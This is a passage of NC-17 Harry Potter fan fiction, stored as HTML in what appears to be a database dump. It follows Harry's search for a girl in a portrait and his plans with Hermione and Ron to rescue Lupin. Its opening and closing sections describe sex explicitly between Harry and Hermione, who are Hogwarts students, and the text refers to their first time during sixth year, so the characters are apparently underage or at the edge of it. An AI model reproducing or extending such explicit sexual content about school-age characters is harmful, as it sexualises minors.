<br/> <br/> "I hope you don\'t think that\'s the only reason I\'m in bed with you. Your power hasn\'t gone to your head, has it?" he asked and she laughed, leaning over so her hair tickled his face. <br/> <br/> "Not yet," she said, sinking down upon him and letting him ease into her slowly. He hoped that there wasn\'t anything wrong; that this didn\'t hurt again after so much time had gone by. She didn\'t move right away and he wrapped his hands around her waist, urging her on. She whispered, "Not yet," and remained still, just watching him. <br/> <br/> "Hermione," he said, sounding desperate. "Please. Please, I need you..."<br/> <br/> With that, she started to move, rolling her hips as she rose up and down over him, taking him all the way in and then letting him nearly slip out over and over again. Using his hands, he showed her how fast he needed her to go and she did it, never letting up for even a moment. Everything around him became a blur and the only thing he could see was her face looking down upon him, her eyes heavy and dark with desire. <br/> <br/> He struggled to make this last long but he was losing that battle. When she sank down once again, he held her there so he was completely wrapped in her body. All she did was tighten her inner walls around him and that was it. Everything in the room, including Hermione, was replaced by a blazing white light and it was so peaceful that he never wanted to leave it behind. Fading all too quickly, he found everything coming back into focus and the first thing he saw was Hermione smiling above him, looking rather pleased with herself as she ruffled his hair a bit. <br/> <br/> She eased herself slowly off of him and fell to his side. After pulling a quilt over them, he wrapped her up in his arms, feeling her fingers swirl against his chest as if she were writing words into wet sand. Maybe she was writing words. He couldn\'t tell.<br/> <br/> "I would assume there are rules against me moving in here with you?" he asked. <br/> <br/> "There are some rather strict rules against you being here at all," she answered with a sigh. He was growing sleepy in the warmth of her bed and would like nothing more than to spend the night here. Or the rest of his life. <br/> <br/> "Then I suppose I better leave," he said, stifling a yawn. "If I don\'t go now, I will be too tired to leave later."<br/> <br/> "Stay just a little longer," she said softly, sounding like a child afraid that if they let go of something for just a while, it will get lost forever.<br/> <br/> "Make sure you get me up in time. I\'ll have to go... to my room," he said, feeling sleep quickly catching up to him... struggling against it... losing... opening his eyes only to find himself face to face with the girl in the violet dress. <br/> <br/> ***************<br/> <br/> To Be Continued<br/> <br/> <br/> <a href="http://www.netroenterprises.com/hidingout/">HIDING OUT AT HOGWARTS</a><br/> <br/> <a href="http://groups.yahoo.com/group/likebunnies/">LikeBunnies, my Yahoo Group</a><br/> <br/> <br/> </p>'),
	(18, 10, '<p><i>Harry Potter and the Infernal Plan Part X<br/> by Jori<br/> e-mail: <a href="/cdn-cgi/l/email-protection" class="__cf_email__">[email protected]</a><script>\n/* &lt;![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]&gt; */</script><br/> web: http://www.like-bunnies.com/hidingout/<br/> <br/> Set during and after their sixth year at Hogwarts, Hermione asks something of Harry that will change their lives forever. <br/> <br/> NC-17<br/> <br/> Spoilers for all five books. Previous parts edited for Order of the Phoenix but some of the ideas brought up in that book couldn\'t be fully added into this story. <br/> <br/> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.</i><br/> <br/> ***********<br/> <br/> Wandering the corridors for hours under his invisibility cloak, Harry looked at as many portraits and paintings as he could before his eyes began to sting and his legs grew heavy from exhaustion. None of the faces looking back at him from inside the many frames seemed remotely familiar. Some were frozen in place as if they were in some Muggle gallery while others were snoring away or chatting with friends but he could see no pattern as to why it was this way.<br/> <br/> He tried to keep a mental count of all the empty frames and where they were located so he could check again tomorrow but he was growing too tired to remember them all. The cloak was even beginning to feel heavy but before he went to bed, he wanted to check one more room.<br/> <br/> Once inside, he shed the cloak, letting it drop to the floor. This was the room where they had found him, unconscious on the floor underneath the painting. The painting still hung on the wall but when he tried to get close to it and touch the canvas, he was repelled by a barrier charm.<br/> <br/> This was now one more thing he\'d have to get through. Just one more problem to work out on a list of problems so long he didn\'t even know where to begin. He knew what he had to do first and that was to find the girl who was haunting his dreams. Harry couldn\'t even be sure that she was someone from one of the many portraits hanging in Hogwarts but he had to find out. Maybe she was the key to getting him back there to help Lupin get back out.<br/> <br/> Harry turned and looked at the dim and dusty room, his thoughts shifting to the time he and Hermione escaped here to celebrate Valentine\'s Day together. Everything between them was still so new then and their biggest wish was to spend the night together. Now he left her alone in her room, sleeping. He was going to be in so much trouble in the morning. He looked at his watch and realized it was already nearly morning and he had no clue what his first class was. It didn\'t matter because he had no intention of going anyway. What was one more day at this point?<br/> <br/> Sitting down on the cold floor, Harry stared at the unsightly painting that was part of all of this. There had to be a reason Professor Dumbledore left it here and didn\'t destroy it as soon as Harry returned but he would never tell him why.<br/> <br/> He would just have to find out why by himself -- or maybe with a little help from his friends. Did he really want to pull them into this and endanger their lives again? He wasn\'t sure but he knew he couldn\'t hide this from Hermione forever. They were far too close and she was far too observant for that to happen now.<br/> <br/> ************<br/> <br/> Harry could sense that someone was standing behind him as he pulled several books from the library shelf. He hoped that if he ignored them, they would go away but he soon gave that up.<br/> <br/> "I\'ll be done in a minute," he said, checking the spines to make sure these were the titles he was looking for.<br/> <br/> "Hey, Harry," a soft voice said and Harry turned to find Zoila Witherite with a heavy book bag over her shoulder and several scrolls clutched in her hand.<br/> <br/> "Hi, Zoila," Harry said, tucking the books under his arm. He didn\'t really want her to know what he was up to even though there was no chance she\'d ever figure it out just from the title of a few books. Hermione might be able to, but not this girl.<br/> <br/> "I didn\'t get a chance to talk to you last night but it\'s good to have you back. I designed a few more plays while you -- over the summer. Would you like to look at them?" she asked, passing the scrolls from one hand to the other. Harry looked down at his watch and shook his head. He didn\'t really have time for this right now. The library would only remain quiet like this in the morning for so long and he didn\'t want too many people to see him here.<br/> <br/> "Now\'s really not a good time. Perhaps we can meet later in the common room? I\'m sure Ron will want to join in the discussion," Harry said and Zoila smiled at him.<br/> <br/> "Ron was a good acting team captain but it will be nice to have you back on the pitch," she said and Harry couldn\'t help but smile back at her.<br/> <br/> "Thanks," he mumbled and her cheeks got a touch rosy.<br/> <br/> "Er -- okay. Tonight, then. I\'ll meet you after dinner? How does that sound?" she asked and he nodded in agreement, watching her walk off, her robes slipping off her slight shoulders. She gave him a little wave before she disappeared from sight. Harry carried his books back to the table he had been at all morning. It was already covered with books and each time Madam Pince asked if she could put some away, he told her no, he needed all these books to catch up on his missing assignments. That seemed to appease her for now.<br/> <br/> He was going to find out who she was and he hoped that the answer was in one of these books. It might take him the rest of the day but he was going to find it. He flipped through page after page of the new books, his eyes scanning over the words and the drawings.<br/> <br/> Feeling someone standing over him, Harry didn\'t even bother to look up before speaking. "I said we could talk later, Zoila. I have to get this done."<br/> <br/> "I\'m not Zoila," Hermione said and he looked up from the page before him to find his girlfriend standing with her arms crossed over her chest.<br/> <br/> "Hermione... I\'m sorry. She was just here asking to go over Quidditch plays. I figured... what are you doing here?" he asked.<br/> <br/> "What are you doing here?" she asked back, sitting across from him.<br/> <br/> "Er - catching up on the work I didn\'t finish over the summer. Why? Is something wrong?"<br/> <br/> Harry quickly closed a rather cumbersome tome on the history of magical art that Madam Pince had been rather hesitant to give him. Professor Dumbledore probably had something to do with that and he had to work hard to convince her it was for one of his classes. He set it aside and pulled his bag over the pile.<br/> <br/> "I could ask you the same thing," she said, tilting her head to the side as she considered him closely. Too closely for his comfort and he looked away.<br/> <br/> "Nothing\'s wrong. I just have a lot of studying to catch up on and I never finished my homework that was assigned for over the summer. Why do you ask?" Harry grabbed for the scroll he had been taking notes on before she could see it, rolling it up and shoving it in his bag.<br/> <br/> "You disappeared from my room without even saying goodbye and then you weren\'t at breakfast or in our first class this morning. I was worried. I even checked the hospital wing before finding you here," she said, looking around as if this was the most unlikely place on earth she\'d ever find Harry skivving off to. <br/> <br/> "I must have lost track of the time," Harry said with a shrug and Hermione picked up one of the many books on the table. "As for last night, I\'m sorry. I couldn\'t sleep and didn\'t want to disturb you. Besides, it wouldn\'t be wise to get caught sleeping in the head girl\'s room on my first night in the dorms."<br/> <br/> "Next time, wake me up and say goodnight before you go," she said, her voice low so the others in the library wouldn\'t overhear them.<br/> <br/> "I will," he said but he wasn\'t sure she heard him. She was more interested in the books on the table than anything else at the moment and there was no way he could hide them all from her without it looking too obvious. He needed more time before he told her about any of this... about his plans and about the dreams.<br/> <br/> "It\'s about time you read this," she said, holding up a copy of \'Hogwarts, A History\' before leafing through it herself.<br/> <br/> "I haven\'t read that one yet," he said and she made a soft huffing sound. He watched her, unable to look at any of the other books while she was there. Hermione snapped the creaky old book shut loudly enough that Madam Pince stuck her head out from between two stacks and \'shushed\' her loudly.<br/> <br/> "I think we need to get to our next class. You\'ve already missed a considerable amount of material and you shouldn\'t miss more," Hermione said, looking nervously at her watch.<br/> <br/> "I\'ll meet you there," Harry said, unable to hide his disinterest in whatever class was next. He didn\'t even know for sure what class it was he already missed and he didn\'t really have a clue as to what class it was he was supposed to be in next.<br/> <br/> "Do you want me to tell Professor McGonagall that you aren\'t feeling up to returning to class yet?" Hermione asked.<br/> <br/> "Why would you do that?"<br/> <br/> "That\'s your next class and for some reason, I don\'t think you\'re going to be there," Hermione said disapprovingly.<br/> <br/> "I\'ll be there. Go on ahead so you aren\'t late. I have to put these books back," Harry said.<br/> <br/> "You\'ll really be there?" she asked.<br/> <br/> "Yes," he said and judging from the look on her face, she knew he was lying. There was no way he could quit looking now but in order to do so, she had to leave him alone. This wasn\'t how this scenario usually played out. Typically, he was the one trying to get her out of the library while she sat surrounded by a pile of books and not the other way around. He looked into her eyes and smiled. "I love you. Now go away."<br/> <br/> She laughed and stood up, smoothing out her robes. "Will you at least be at lunch?" she asked.<br/> <br/> "Do you think it would be wise to skip all my morning classes and then show up for lunch?" he asked.<br/> <br/> "Probably not. I\'ll come and find you and we can do something together for lunch," she said and he agreed. With that, she turned and left him alone with the big pile of books on the table.<br/> <br/> He wasn\'t searching for long when he finally found something close to what he was looking for. It was a listing of all the artwork in Hogwarts Castle complete with a map of where the paintings were located. Or at least where they were located several years ago.<br/> <br/> "Damn," he muttered to himself as he started to search the list, his eyes skimming name after name, hoping something would jump out at him. If he was lucky, the art didn\'t get moved very often and the diagram would lead him to her. If only he could remember something. Anything.<br/> <br/> Harry almost missed it as he ran his finger down the page, his eyes darting about.<br/> <br/> Untitled painting. Artist unknown. Main subject, a female, wears a violet dress. Located on the west wall of the sixth floor corridor.<br/> <br/> Something about that description told him this painting had to be it. That had to be the portrait of the girl who kept visiting his dreams. If not, he would just have to keep searching until he found her and the answers to all his questions.<br/> <br/> **************<br/> <br/> He wasn\'t sure how many hours he had been staring at the empty portrait, waiting for its occupant to return. He hoped she was somewhere in the castle visiting another painting but as the hours slowly passed by, Harry began to have his doubts.<br/> <br/> His whole body was stiff from sitting on the floor, watching and waiting. Looking at his watch, he realized he was now two hours late for the appointment he had with Madam Pomfrey. She would be looking for him soon enough, demanding that he take another dose of that disgusting potion she insisted he needed daily for the next week.<br/> <br/> From out of one of narrow windows, Harry could see that the sky was brushed in the soft colors of twilight but he wasn\'t ready to give up yet. He couldn\'t give up yet. It was then that he heard the footsteps coming toward him and he knew immediately who it was.<br/> <br/> Hermione sat next to him, taking his hand in hers, their fingers entwined. "Like with many things that have happened in your life, I won\'t pretend to know what you\'re going through right now but I\'m here if you want to talk about it."<br/> <br/> "You\'re not here to give me a lecture about missing class today?" Harry asked and Hermione squeezed his hand.<br/> <br/> "I\'ll get to that later but first, I want you to tell me why you spent the day in the library and sitting on the floor?" Hermione asked and Harry didn\'t answer right away. "You know something, don\'t you? You remember something."<br/> <br/> Harry swallowed hard and answered her. "A girl... a woman. I remember a young woman. Or at least I think I do. I think she\'s from this painting." He tipped his head toward the empty frame.<br/> <br/> "Oh?"<br/> <br/> "For a few nights, she was in my dreams but last night it was like she was really there. That\'s why I left you. I have to figure out who she is because she\'s so familiar and I know she has to be a part of this. And then I think I might..." Harry stopped before he said too much.<br/> <br/> "Might what?" she asked. "Might what, Harry? You aren\'t thinking... you are!"<br/> <br/> "I have to! I can\'t leave him there, Hermione. He went in to save me and now I have to go find him," Harry said. Hermione let go of his hand and folded her own hands together on her lap.<br/> <br/> "Were you just going to leave? And how about Ron? Did you think you could just do this without telling either of us?" Hermione asked, her voice growing rather impatient.<br/> <br/> "That isn\'t it at all," Harry said with a heavy sigh. He was going to put this off but now he couldn\'t. "I need your help. You need to help me figure out how to open up the portal so I can go back in there. Right now that painting is protected by some sort of charm so first we need to break that and then --"<br/> <br/> "Harry, are you sure this is a good idea? Lupin must have known what he was doing when he sealed--"<br/> <br/> "Then I\'ll do it myself."<br/> <br/> "No you won\'t! What if something happens to you once you\'re inside?" Hermione asked, turning to face Harry.<br/> <br/> "What if something happens to you?" he asked and they fell silent. Both Ron and Hermione knew that close calls were part of the deal with being his friend but everything changed so much over the last year. At least it had with Hermione.<br/> <br/> "I\'ve made it this far, haven\'t I? I just want you to think about this more before you go rushing off to save someone. You have to consider the consequences. You need a plan so no one else ends up..." Hermione\'s voice trailed off and Harry looked down at his hands. She was right. Nothing would ever erase the memory of the last time he went off without a plan. He almost lost Hermione and he did lose his godfather.<br/> <br/> "We need to hurry, though, Hermione. We don\'t know what\'s happening to him in there," Harry said and Hermione looked up at the empty portrait frame.<br/> <br/> "So, who is she?"<br/> <br/> "I don\'t know. She doesn\'t have a name as far as I can tell and I\'m not even sure if this is really her portrait. No one has mapped them out for a few years or if they did, they didn\'t leave a record of it," Harry said and Hermione made a soft snorting sound. "What?"<br/> <br/> "I\'m sure Drew\'s mother did. She was fascinated by the art here. Drew took advantage of that knowledge," Hermione said and that started something spinning in Harry\'s brain.<br/> <br/> "Where is she? What happened to her after everything?" Harry asked.<br/> <br/> "She\'s in St. Mungo\'s now. After everything she had been through with Drew and his father, she needed some help. If she ever gets out of there, she\'ll probably end up in Azkaban for her part in your abduction," Hermione answered.<br/> <br/> "Can we ask her about this particular portrait? Maybe she\'ll remember something," Harry said, staring at the nearly empty canvas, hoping to see movement of any kind in the rest of the painting. It was an pastoral scene -- where did he learn the word pastoral? He wasn\'t sure. He wasn\'t sure of so many things except that he had to get to Lupin.<br/> <br/> "I don\'t know if she\'s well enough, Harry, but we can try. We are going to be in so much trouble. You know that, don\'t you?" Hermione asked, pinching the bridge of her nose.<br/> <br/> "I\'m afraid if I don\'t do this, I\'ll regret it for the rest of my life," Harry said. Something clattered down the corridor and they both looked but saw no one. Harry lowered his voice. "Maybe we shouldn\'t talk about this here, Hermione. All I have to say is I have enough regrets already."<br/> <br/> "So do I," Hermione said. She reached out for him and ended up tucked under his arm, her head against his shoulder.<br/> <br/> "What do you regret?" he asked.<br/> <br/> "The many times I should have stopped you from doing something but I didn\'t and this might be just another one of those times. I regret that I didn\'t know more about Drew and I let him do what he did to you. I regret what happened to your family including Sirius..."<br/> <br/> "Those are all regrets for me and my life but what about you, Hermione?" Harry asked and she didn\'t answer right away but instead snuggled further against him, placing on her hands on his thigh.<br/> <br/> "Our first time could have been different--" Hermione started to answer but Harry interrupted her.<br/> <br/> "I didn\'t think it was that bad. I know it wasn\'t great for you but it could have been much worse--" This time it was Hermione\'s turn to interrupt him.<br/> <br/> "That\'s not what I meant. What I mean when I say I wish it had been different is that I wish you and I had gone about it differently. That I hadn\'t been using you like I did. I wish we had done normal things like dates in Hogsmeade and hiding out in broom closets to make out. I\'ve never done that with anyone I liked. Not Viktor. Not Drew... that one was far from normal," Hermione said with a sigh.<br/> <br/> "I don\'t think anything about our relationship is ever going to be normal, Hermione," Harry said, leaning over to kiss her on the top of her head. "How could it be? People, including your old boyfriend, keep trying to kill me."<br/> <br/> "But in your life, that one thing should have been normal. You should have known that the first person you went to bed with loved you..."<br/> <br/> "I did know it."<br/> <br/> "But..."<br/> <br/> "I\'m pretty sure I\'ve loved you since I was eleven. I didn\'t know what it was then because I had never felt it before in my life but it was love, even if we were just friends. I wouldn\'t have admitted it then but it was there. I\'m sure you felt the same way about me. You weren\'t in love with me but you did love me, probably more than any other girl I might have gone to bed with for the first time," Harry said and Hermione sighed.<br/> <br/> "I still wish I could change it. You asked me what I regretted for myself but I guess that\'s something I regret for both of us," she said.<br/> <br/> "We could go out on a date on our next Hogsmeade trip if that\'s what you fancy. I just never really thought of you as the type who would want that but we could try starting over again," he suggested and she laughed.<br/> <br/> "Pandora\'s box has been opened, Harry. I don\'t think we can forget the things we\'ve done together and I wouldn\'t want to," Hermione said.<br/> <br/> "I could cast a memory charm on you," Harry said, pulling his wand out of the pocket of his robes. "Then I could ask you out and we could do it differently."<br/> <br/> "What if I said no?"<br/> <br/> "I could brew up a love potion..."<br/> <br/> "With your marks in Potions? I would never drink it!" she said, laughing now.<br/> <br/> "Then I would just have to be me and hope that one day, you\'d figure it out. You\'re a smart girl. You would eventually," Harry said, laughing along with Hermione now. The moment passed and they both sighed. "I wasn\'t joking, though. If you want to do it right, we can. There will be hand holding and dates in Hogsmeade. Then when the time is right for you, we will... you know."<br/> <br/> "You\'re willing to do this?"<br/> <br/> "Are you?" Harry asked, not sure he could go through with it. Besides the fact that he\'d miss all the shagging, he also had to work on this problem with Lupin. Would there even be enough time for dates and hand holding?<br/> <br/> "I don\'t know," she said, sounding very cautious. "It\'s a lot to give up."<br/> <br/> "It will be dreadful but I can do it if you can do it."<br/> <br/> "I\'m sure I can. I know I can since I just gave up several months of being with you. This isn\'t going to take months, is it?" she asked.<br/> <br/> Harry sighed again and looked up at the empty portrait before them. "I don\'t think we have months."<br/> <br/> *******************<br/> <br/> "What\'s up with you two?" Ron asked as he sat down across from Harry and Hermione at breakfast. The room was just starting to fill up with people slowly waking up on a Saturday morning and the three of them were somewhat secluded from the other students. It was the day of the first Hogsmeade visit of the year and the third year students were all buzzing about in conversation, trying to decide what it is they wanted to do first.<br/> <br/> "What do you mean?" Harry asked.<br/> <br/> "All this hand holding and kissing lately. It\'s disgusting," Ron said rolling his eyes. Harry looked down at Hermione and his hands, fingers entwined between their plates of sausages and eggs.<br/> <br/> "You wouldn\'t say that if Tullia was sitting next to you," Hermione said pointedly.<br/> <br/> "I miss her," Ron said with a dreamy, faraway look on his face. Harry cleared his throat and snapped his friend out of his reverie.<br/> <br/> "Someday, Hermione and I will tell you exactly how we ended up together and we\'ll explain all this," Harry said, holding up their hands for a moment. "Or we\'ll try to but for now, can you meet us at this afternoon at The Three Broomsticks? We have something we need to talk to you about."<br/> <br/> "What?" Ron asked, sitting up straight and leaning towards Harry and Hermione. "Not some new secret group or anything?"<br/> <br/> "No, nothing like that. I... we need your help with something and I don\'t want to talk about it here," Harry said, dropping his voice to a whisper. "What are your plans for today?"<br/> <br/> "Ginny\'s going to meet me to help pick out a birthday present for Tullia. She doesn\'t think I\'m capable of doing it myself. Thinks I\'ll buy her some awful candy or something. Then we\'re supposed to meet Shamus and Dean at The Three Broomsticks. I can meet up with you there later," Ron said.<br/> <br/> Harry wished they had somewhere less crowded they could go and talk in Hogsmeade but knew that The Hogshead was less reliable than the busy pub all the students gathered at. Anyone could be listening there whereas at The Three Broomsticks, it was mostly students enjoying their butterbeers and having a laugh.<br/> <br/> "Hermione and I have somewhere to go first and then we\'ll meet you there," Harry said. Hermione squeezed his hand with hers and Ron gave them a questioning glance. Harry could feel a blush rise to his cheeks as he muttered, "A date. We\'re going on a proper date. Now that even the professors know about us, we can do that."<br/> <br/> "Good on you! It\'s about time you showed Hermione the respect she deserves though I don\'t know if you can call it a proper date if you\'re going to meet me," Ron said and Harry couldn\'t tell if he was being serious or not. Hermione didn\'t help matters by pulling her hand away and continuing with her breakfast.<br/> <br/> "It\'s the only time we have away from Hogwarts. Besides that, after this, it\'s going to be all schoolwork and Quidditch practice and... oh, bloody hell!" Harry said, grimacing.<br/> <br/> "What?" Ron asked, stuffing a piece of toast in his mouth.<br/> <br/> "I was supposed to meet with Zoila about some new Quidditch plays and I forgot," Harry said, looking down toward the end of the table to find her there with her other third year friends, chatting away excitedly. It was their first trip in Hogsmeade and she looked like Quidditch was the furthest thing from her mind. At the moment, it barely was even in Harry\'s thoughts. He had too many other issues to deal with.<br/> <br/> "We have a week until the match," Ron said, shrugging it off. One week and it had been months since Harry had been up on his broom. Just thinking about all the things he had to catch up on sent his head spinning.<br/> <br/> "Are you okay?" Hermione asked, putting her hand over his. He stared down at his plate and hoped the feeling went away.<br/> <br/> "Dunno. It gets to be a bit overwhelming at times, having so much to do and having missed so much. There are days I feel like I was gone years and not just a few months," Harry said, looking up to find a concerned Ron staring at him.<br/> <br/> "Hermione and I will help you catch up. She can help you with all the boring schoolwork you missed and I can help you practice Quidditch," Ron said.<br/> <br/> "Besides that, no one expects you to do it all in one day," Hermione said, giving his hand a gentle pat.<br/> <br/> "Except Snape. He probably does," Ron said, stabbing a sausage and putting it on his plate. "But why worry about it today? Go do your date thing and then I\'ll meet you later. What exactly are the two of you doing for a date?"<br/> <br/> "Er-- I, uh, I don\'t know," Harry said, realizing he really was no good at this part of a relationship.<br/> <br/> "Don\'t worry," Hermione said with a smile. "I have it all planned out."<br/> <br/> ***************<br/> <br/> It wasn\'t as horrid as the last time Harry was here (only because he was with Hermione) but all the same, it was bad. Madam Puddifoot\'s would never be Harry\'s favorite place in Hogsmeade but Hermione was leading the way today and she wanted to go here.<br/> <br/> He was no longer threatened by the all the couples around them kissing and holding hands. Actually, he was holding Hermione\'s hand on top of the table and he noticed some poor fifth year boy glancing their way, looking extremely nervous that the girl across from him might make him hold her hand any second now. What a difference a few years -- and being in love -- made.<br/> <br/> "This place is dreadful," Hermione said, looking around at all the frilly decorations.<br/> <br/> "You should be here on Valentine\'s Day. It\'s worse," Harry said and Hermione\'s eyes met his.<br/> <br/> "I\'d rather next Valentine\'s Day be like last Valentine\'s Day," she said in a voice that made his cheeks flush. Hermione laughed and asked, "Am I not supposed to talk about those things while we\'re attempting to go on dates?"<br/> <br/> "If you want the dating idea of yours to last longer than one day, perhaps it would be best if you didn\'t," he answered, wanting to kiss her badly. The nervous boy a few tables over was still sneaking glances toward them so Harry held off on the kissing, sure the boy would suffer some sort of attack if he thought he had to do that next.<br/> <br/> "Are you ready to leave?" Hermione asked, turning to look at more couples come through the door.<br/> <br/> "I thought you wanted this," Harry said, motioning to all the frills surrounding them.<br/> <br/> "I just wanted to see what it was like. I\'d rather be forced to serve detention for a month with Snape then be here," Hermione said, wrinkling up her nose. Even though Harry disliked this place, he was hoping that something like this was what Hermione felt they missed out on. Now he was confused. "Besides, Harry, we have far more important things to do. You know that."<br/> <br/> "Er -- I just wanted -- do you mean meeting Ron?" Harry asked, not really knowing what to do or say.<br/> <br/> "I think that would be a better idea than sitting in here, don\'t you? We have work to do," Hermione said, pushing her chair out and standing. Harry quickly dug some coins out of his pocket and left them on the table to pay for their unfinished tea and then followed Hermione out the door. They set off towards The Three Broomsticks, not holding hands and not looking like they were on any sort of date at all. Instead, Hermione was listing off things they needed to consider before they went any further on their rescue mission.<br/> <br/> "Perhaps we should wait until we\'re inside. Less people and all," Harry suggested, looking around at all the people who might be listening. Hermione opened the door to The Three Broomsticks and the place was crawling with Hogwarts students. There wasn\'t an empty table in site. Harry sighed. "Or maybe more people."<br/> <br/> "No one will be able to hear us over all the noise," Hermione said, waving to Ron who was holding a table for them near the back.<br/> <br/> On their way to the table, they passed Zoila and her third year friends gathered around a table. She glared at Harry and then whispered something to one of her friends. This didn\'t escape Hermione\'s notice and she leaned in close and whispered to Harry, "You\'re in trouble now."<br/> <br/> "I think a team meeting might be in order," Harry said, wondering if the entire Gryffindor team (with the exception of Ron) was upset or just the ones he forgot to meet with.<br/> <br/> Ron had two butterbeers waiting for them at the table and after sitting next to Hermione, Harry took a long sip, rinsing the taste of Madam Puddifoot\'s from his mouth. Ron gave them an awkward look before starting in with questions about the so called date they were on.<br/> <br/> Hermione shrugged off his questions and looked at Harry. "Do you want to tell him?"<br/> <br/> "Tell me what?" Ron asked.<br/> <br/> "I don\'t know what," Harry said, still looking at Hermione. Did she want him to explain how awful Madam Puddifoot\'s had been?<br/> <br/> "About the rescue mission," Hermione said, turning her attention to Ron. "We\'re planning a rescue mission."<br/> <br/> "Another one?" Ron asked, cringing. He was obviously remembering the last few rescue missions with distaste.<br/> <br/> "Just because the last one failed..." Harry started to say, staring down at his butterbeer.<br/> <br/> "What do you mean? The last one got you back, didn\'t it?" Ron asked and Harry looked up at his friend.<br/> <br/> "I meant before," Harry said and Ron nodded and the two of them remained silent while the other students all buzzed around them.<br/> <br/> "Harry wants to try to get Lupin out of there -- wherever there might be," Hermione said and Ron looked from one to the other.<br/> <br/> "All right. When do we go in?" he said without giving it much thought.<br/> <br/> "We\'re not going in. I\'m going in," Harry said, motioning to himself.<br/> <br/> "You aren\'t going anywhere alone!" Hermione said and Ron quickly agreed.<br/> <br/> "Someone is going to have to stay on the outside in case something happens," Harry said and Ron sat back in his chair, his arms crossed over his chest, sulking.<br/> <br/> "A rescue mission for the rescue mission?" Hermione said and Harry closed his eyes. They had so much to consider in order to avoid any fiascos like in the past. Upon opening his eyes he found Ron still sulking.<br/> <br/> "What\'s wrong with you?" Harry asked.<br/> <br/> "Obviously, you\'re going to pick Hermione to go with you," Ron said, a jealous tone Harry hoped was long gone intruding into his voice.<br/> <br/> "Once we have more plans in order, I\'ll figure out which one of you will be the best choice to come along," Harry said and now Hermione sat back in her chair with a huff.<br/> <br/> "Or we could talk to Ginny and then the three of us can go," Ron said, smiling brightly at his idea. He grabbed his butterbeer and took a giant sip. Hermione didn\'t make a move.<br/> <br/> "Or we could do that," Harry said, happy that for now, Ron was done pouting.<br/> <br/> "What exactly are the plans?" Ron asked and Harry looked to Hermione, hoping that explaining what they had already considered would be enough to make her stop moping.<br/> <br/> Hermione shifted in her seat and pulled some notes out of a pocket of her robes. She put them all on the table and even Harry was impressed by the effort she had put into this since they first discussed it.<br/> <br/> "It\'s not going to be easy," Hermione said with a sigh.<br/> <br/> Ron nodded, making a face at how complex Hermione\'s notes were. "It never is going to be easy, is it?" he asked.<br/> <br/> "I\'m afraid not," was Harry\'s only reply.<br/> <br/> *************<br/> <br/> "This dating thing isn\'t going to work out," Harry said bluntly and Hermione looked confused for just a second or two.<br/> <br/> "Obviously!" she said, wrapping her legs even tighter around Harry\'s waist. Hermione\'s jeans, jumper and undergarments were abandoned somewhere near her door and she was balanced on one of the window sills in her room. Harry\'s hands were pressed against the cold glass and he couldn\'t imagine how she could stand it against her entire back but she wasn\'t complaining.<br/> <br/> "It seemed so important to you," he said, struggling to focus on his thoughts and words and her body wrapped around his all at the same time.<br/> <br/> "Giving this up was bloody stupid. It certainly wasn\'t one of my better ideas," she said, her fingers digging into his upper arms.<br/> <br/> "No, but coming back here was. Oh... yes..." Harry said as Hermione slid closer to him, allowing him to sink in even further. Harry started thrusting faster and her hands went from his arms to the edge of the stone sill to hold on.<br/> <br/> The taste of her was still on his lips and the room was scented of both of them now. The air was heavy with the smell of sweat despite what the temperature was on the other side of the cold glass and Harry\'s eyes moved from Hermione\'s to over her shoulder. If he continued to look at her, this would end too soon. Instead, he tried to focus on a blurry landmark outside the castle and think about Quidditch.<br/> <br/> All that did was make him think about the time they did it right before he had a Quidditch match and that didn\'t help much. Hermione let out a soft, low moan and now there was no helping him. A few more thrusts and he was done.<br/> <br/> Light exploded through the window around Hermione, haloing her in a soft glow, and Harry came inside of her. His hands slid down the window panes until they ended up on her shoulders and when he was done, she pulled him to her.<br/> <br/> "This is one of the best parts of dating you. I don\'t think I should consider giving it up again. I should have learned my lesson the first time I tried to give it up. Or the second time when you were gone and I had to give it up. I\'m not doing it again," she whispered into his ear and he couldn\'t stop smiling.<br/> <br/> He lifted her and she held on tight as they stumbled across the floor to her bed. Tumbling onto the bed, their arms and legs were tangled up but neither of them cared. Harry sighed, utterly content at the moment and Hermione yawned drowsily.<br/> <br/> "If we take a nap, will you still be here when I wake?" she asked.<br/> <br/> "You don\'t have time for a nap. We\'ll miss dinner and we told Ron we\'d meet him there," Harry said, the warmth of the room and Hermione beside him making him a little drowsy, too.<br/> <br/> "That was a foolish thing to do," Hermione said, pulling herself away from him long enough to tug a quilt over their bodies. Harry realized then that they were going to be late in meeting Ron. Very late.<br/> <br/> "We should at least meet him in the common room after dinner," Harry said and Hermione mumbled something he couldn\'t make out but might have been a yes. "Actually, we shouldn\'t discuss anything there. Perhaps the Room of Requirement? Do you think that will be safe?"<br/> <br/> "Don\'t know, Harry. I thought the library at home was safe and look what happened there," she said, making a good point.<br/> <br/> "We have to discuss our plans somewhere. We can\'t wait until the next Hogsmeade outing. How about in here? Can Ron sneak in here, too?" Harry asked and Hermione thought about it for a while.<br/> <br/> "Won\'t people talk?"<br/> <br/> "About what? No one even knows I\'m in here. We certainly won\'t let them see both of us... you weren\'t being serious, were you?" Harry asked after Hermione took the time to open her eyes so she could roll them at him.<br/> <br/> "No, I wasn\'t. I don\'t think people even notice what we do anymore. Or maybe they stay away from us out of fright," Hermione said and they both laughed. Harry propped himself up on an elbow so he could look at Hermione. <br/> <br/> "I\'m not even sure this room is safe. I\'m not sure there\'s a single safe place anymore. They\'ll reach us wherever we go," Harry said gloomily. "Maybe I\'m just being paranoid."<br/> <br/> "True. And you of all people have no reason to be paranoid. No one is ever out to get you," Hermione said, smirking. <br/> <br/> "I know you\'re out to get me," Harry said<br/> <br/> "Of course I am out to get you. Especially if I can get you naked in my bed every night," Hermione said, touching Harry\'s chest and moving down.<br/> <br/> Before she could get very far, he grabbed Hermione and pulled her until she was straddling his hips. Somehow it turned into a tickling match until they were tangled up in the quilt, laughing hard.<br/> <br/> "I wonder who Malfoy sneaks into his room?" Hermione asked when the laugher died down and Harry groaned. 